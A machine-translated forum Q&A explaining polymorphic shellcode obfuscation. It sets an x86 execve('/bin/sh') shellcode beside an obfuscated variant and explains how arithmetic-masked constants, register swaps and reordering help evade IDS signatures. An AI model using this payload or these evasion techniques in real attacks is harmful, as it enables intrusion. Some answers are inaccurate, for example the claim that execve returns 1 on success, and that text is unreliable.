使用两个asm代码中的差异来解释多态混淆
这里有两个asm代码(从这个论坛中复制的polymorphic-shellcode):
obfuscation之前的原始asm:
global _start
section .text
_start
xor eax,eax
push eax
push dword 0x68732f2f ; //sh
push dword 0x6e69622f ; /bin
mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,0xb ; execve()
int 0x80
xor eax,eax
inc eax
int 0x80
混淆后修改后的asm:
global _start
section .text
_start:
xor edx, edx ;line 1
push edx ;line 2
mov eax, 0x563ED8B7 ;line 3
add eax, 0x12345678 ;line 4
push eax ;line 5
mov eax, 0xDEADC0DE ;line 6
sub eax, 0x70445EAF ;line 7
push eax ;line 8
push byte 0xb ;line 9
pop eax ;line 10
mov ecx, edx ;line 11
mov ebx, esp ;line 12
push byte 0x1 ;line 13
pop esi ;line 14
int 0x80 ;line 15
xchg esi, eax ;line 16
int 0x80 ;line 17
它做了四个改变:
1.通过执行算术运算来掩盖/ bin / sh字符串,而不是直接将十六进制值推入堆栈。
Q1.1:我可以理解3到8行(修订版)。 什么意思是9号线? 等于原始asm中的“mov al,0xb”?
2.尽可能使用不同于原始代码的寄存器。
Q2.1:例如,第1行和第2行(修订版)是指这个?
Q2.2:我明白混淆因为让IDS无法匹配关键字,为什么要更改寄存器?
3.重新排序指令。 在调用execve之前,不要以相同的顺序初始化寄存器。
问题3.1:我不明白这一点。 用上面的两个asm来解释它。
4.介绍一些不必要的步骤。 例如:推送字节0x1; 流行音乐 xchg esi,eax而不是在第一个int 0x80指令执行后弹出到eax。
Q4.1:在原始的asm中,为什么有两个int 0x80? 我试图删除最后的0x80,它仍然有效。 问题4.2:是否添加了与混淆直接相关的不必要的步骤?
Q5:为什么第10行的“pop eax”?
Q1.1:我可以理解3到8行(修订版)。 什么意思是9号线? 等于原始asm中的“mov al,0xb”?
第9行和第10行push byte 0xb, pop eax
,这明显转换为mov eax,0x0000000b
。 因为x86是小端的,所以用0xb
填充al
(以及eax
寄存器的其余部分为零)。 所以它实际上取代了xor eax,eax
/ mov al,0xb
组合。
push 0xb -> mov [ss:esp],0x0000000b ; memory at SS:ESP = 0x0000000b
pop eax -> mov eax,[ss:esp] ; ergo eax = 0x0000000b
Q2.2:我明白混淆因为让IDS无法匹配关键字,为什么要更改寄存器?
许多编译器或多或少以标准方式使用寄存器。 像IDA-pro(或IDS)这样的高级程序可以利用这些知识将程序集反编译为可读的源代码,前提是它可以推导出用于创建程序的确切编译器版本。 通过混合寄存器,反编译器难以将汇编代码转换为更高级别(伪)的源代码。 对于使用已知代码片段来推断程序执行什么动作的IDS也是如此。
重新排序说明。 在调用execve之前,不要以相同的顺序初始化寄存器。 问题3.1:我不明白这一点。 用上面的两个asm来解释它。
如果您使用系统调用,则推断应用程序正在执行的操作相对比较容易。 Linux(例如)将调用#存储在eax
并且每个调用都在预定的寄存器中指定了参数。 通过使分析程序难以确定eax
的值,不清楚哪个系统调用正在执行。 没有这些知识,其他寄存器的含义(读取:参数)就无法知道。 如果你用无意义的值填充未使用的寄存器,那么事情变得更难解释。
混淆器不希望你知道它正在调用系统调用#11(execve)。 要做到这一点的唯一方法是尝试以循环方式加载0xb
eax
。 如果我们总是加载eax
(或第一个),那么就很容易找出发生了什么。 如果我们使用2个或更多指令加载eax
,并且在它们之间放置了大量不相关的指令,那么在执行系统调用的int 0x80
之前跟踪eax
的最终值变得更加困难。
Q4.1:在原始的asm中,为什么有两个int 0x80
? 我试图删除最后的0x80,它仍然有效。 问题4.2:是否添加了与混淆直接相关的不必要的步骤?
不,先前的系统调用(execve)在成功返回时将1
载入eax。 Syscall#1碰巧是sys_exit
,它干净地关闭程序。 当将代码注入到程序中时,插入代码片段之后的字节是随机垃圾,我们不想执行这些代码,因此必须干净地退出该线程。 对sys_exit
的调用实现了这一点。
如果你将这个片段组装成一个独立的程序,汇编器会为你添加一个sys_exit
调用。 这就是为什么删除最后一个int 0x80
似乎没有区别。
Q5:为什么第10行的“pop eax”?
首先push
0xb
,然后将其pop
到eax
,实质上执行mov eax,0xb
。
上一篇: Explained polymorphic obfuscation using the difference within two asm codes